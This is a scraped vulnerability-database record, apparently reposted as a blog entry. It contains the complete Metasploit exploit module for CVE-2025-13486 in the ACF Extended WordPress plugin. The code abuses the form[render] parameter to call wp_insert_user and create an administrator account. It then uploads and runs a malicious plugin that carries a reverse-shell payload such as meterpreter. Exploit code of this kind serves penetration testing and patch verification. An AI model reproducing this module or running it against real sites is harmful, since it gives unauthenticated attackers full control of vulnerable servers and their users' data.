{“lastseen”:”2025-12-19T19:04:45″,”description”:”This module exploits an unauthenticated Remote Code Execution vulnerability in the Advanced Custom Fields: Extended ACF Extended WordPress plugin versions 0.9.0.5 through 0.9.1.1. The vulnerability exists in the prepareform function of the…”,”published”:”2025-12-19T18:55:36″,”modified”:”2025-12-19T18:55:36″,”type”:”metasploit”,”title”:”WordPress ACF Extended Unauthenticated RCE via prepare_form()”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-MULTI-HTTP-WP_ACF_EXTENDED_RCE-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-13486″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n\\n include Msf::Payload::Php\\n include Msf::Exploit::FileDropper\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::Remote::HTTP::Wordpress\\n\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘WordPress ACF Extended Unauthenticated RCE via prepare_form()’,\\n ‘Description’ =\\u003e %q{\\n This module exploits an unauthenticated Remote Code Execution vulnerability in the\\n Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5\\n through 0.9.1.1. The vulnerability exists in the prepare_form() function of the\\n acfe_module_form_front_render class, which accepts user-controlled input via the\\n form[render] parameter and passes it directly to call_user_func_array() without\\n proper sanitization.\\n\\n This exploit requires a WordPress page containing an ACF Extended form widget, which\\n exposes the required nonce token in the page’s JavaScript. The NONCE_PAGE option\\n must be set to the path of such a page.\\n\\n Once an administrator account is created via wp_insert_user(), the module uploads\\n and executes a malicious plugin to achieve remote code execution (RCE).\\n },\\n ‘Author’ =\\u003e [\\n ‘Marcin Dudek (dudekmar) – CERT.PL’, # Vulnerability discovery\\n ‘Valentin Lobstein \\u003cchocapikk@leakix.net\\u003e’ # Metasploit module\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-13486’],\\n [‘URL’, ‘https:\/\/www.wordfence.com\/blog\/2025\/12\/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin\/’]\\n ],\\n ‘Platform’ =\\u003e %w[php unix linux win],\\n ‘Arch’ =\\u003e [ARCH_PHP, ARCH_CMD],\\n ‘DisclosureDate’ =\\u003e ‘2025-12-02’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Privileged’ =\\u003e false,\\n ‘Targets’ =\\u003e [\\n [\\n ‘PHP In-Memory’,\\n {\\n ‘Platform’ =\\u003e ‘php’,\\n ‘Arch’ =\\u003e ARCH_PHP\\n # tested with php\/meterpreter\/reverse_tcp\\n }\\n ],\\n [\\n ‘Unix\/Linux Command Shell’,\\n {\\n ‘Platform’ =\\u003e %w[unix linux],\\n ‘Arch’ =\\u003e ARCH_CMD\\n # tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp\\n }\\n ],\\n [\\n ‘Windows Command Shell’,\\n {\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e ARCH_CMD\\n # tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp\\n }\\n ]\\n ],\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n }\\n )\\n )\\n\\n register_options([\\n OptString.new(‘NONCE_PAGE’, [true, ‘Path to page containing ACF Extended form widget’, ”]),\\n OptString.new(‘USERNAME’, [true, ‘Username to create’, Faker::Internet.username]),\\n OptString.new(‘PASSWORD’, [true, ‘Password for the new user’, Faker::Internet.password(min_length: 8)]),\\n OptString.new(‘EMAIL’, [true, ‘Email for the new user’, Faker::Internet.email])\\n ])\\n end\\n\\n def check\\n return CheckCode::Unknown unless wordpress_and_online?\\n\\n plugin_check = check_plugin_version_from_readme(‘acf-extended’, ‘0.9.2’, ‘0.9.0.5’)\\n return plugin_check if plugin_check == CheckCode::Safe\\n\\n @nonce = find_nonce\\n return CheckCode::Unknown(‘Could not find nonce on specified page’) unless @nonce\\n\\n CheckCode::Appears\\n end\\n\\n def exploit\\n unless wordpress_and_online?\\n fail_with(Failure::NotFound, ‘The target does not appear to be using WordPress’)\\n end\\n\\n admin_cookie = create_admin_user\\n upload_and_execute_payload(admin_cookie)\\n end\\n\\n def ensure_nonce\\n return if @nonce\\n\\n @nonce = find_nonce\\n fail_with(Failure::NotFound, ‘Could not find nonce on specified page’) unless @nonce\\n end\\n\\n def find_nonce\\n nonce_page = normalize_uri(target_uri.path, datastore[‘NONCE_PAGE’])\\n res = send_request_cgi(‘method’ =\\u003e ‘GET’, ‘uri’ =\\u003e nonce_page)\\n return nil unless res\\u0026.code == 200 \\u0026\\u0026 res.body =~ \/\\”nonce\\”:\\”([a-f0-9]+)\\”\/i\\n\\n Regexp.last_match(1).tap { |n| vprint_status(\\”Found nonce in JavaScript: #{n}\\”) }\\n end\\n\\n def send_exploit_request\\n ensure_nonce\\n\\n send_request_cgi(\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e wordpress_url_admin_ajax,\\n ‘vars_post’ =\\u003e {\\n ‘action’ =\\u003e ‘acfe\/form\/render_form_ajax’,\\n ‘nonce’ =\\u003e @nonce,\\n ‘form[render]’ =\\u003e ‘wp_insert_user’,\\n ‘form[user_login]’ =\\u003e datastore[‘USERNAME’],\\n ‘form[user_email]’ =\\u003e datastore[‘EMAIL’],\\n ‘form[user_pass]’ =\\u003e datastore[‘PASSWORD’],\\n ‘form[role]’ =\\u003e ‘administrator’\\n }\\n )\\n end\\n\\n def create_admin_user\\n res = send_exploit_request\\n fail_with(Failure::UnexpectedReply, ‘Failed to create administrator account.’) unless res\\u0026.code == 200\\n fail_with(Failure::UnexpectedReply, ‘Unexpected response from exploit request.’) unless res.body =~ %r{\\u003c\/div\\u003e\\\\s*\\\\d+\\\\s*\\u003c\/div\\u003e}\\n\\n print_good(‘Administrator account created successfully’)\\n\\n cookie = wordpress_login(datastore[‘USERNAME’], datastore[‘PASSWORD’])\\n fail_with(Failure::UnexpectedReply, ‘Failed to log in to WordPress admin.’) unless cookie\\n cookie\\n end\\n\\n def upload_and_execute_payload(admin_cookie)\\n plugin_name = \\”wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}\\”\\n payload_name = \\”ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}\\”\\n\\n zip = generate_plugin(plugin_name, payload_name)\\n unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)\\n fail_with(Failure::UnexpectedReply, ‘Failed to upload the payload’)\\n end\\n\\n register_files_for_cleanup(\\”#{payload_name}.php\\”, \\”#{plugin_name}.php\\”)\\n register_dir_for_cleanup(\\”..\/#{plugin_name}\\”)\\n\\n payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, \\”#{payload_name}.php\\”)\\n send_request_cgi(‘uri’ =\\u003e payload_uri, ‘method’ =\\u003e ‘GET’)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/wp_acf_extended_rce.rb”,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/wp_acf_extended_rce\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-19T19:04:45″,”description”:”This module exploits an unauthenticated Remote Code Execution vulnerability in the Advanced Custom Fields: Extended ACF Extended WordPress plugin versions 0.9.0.5 through 0.9.1.1. The vulnerability…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-32317","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n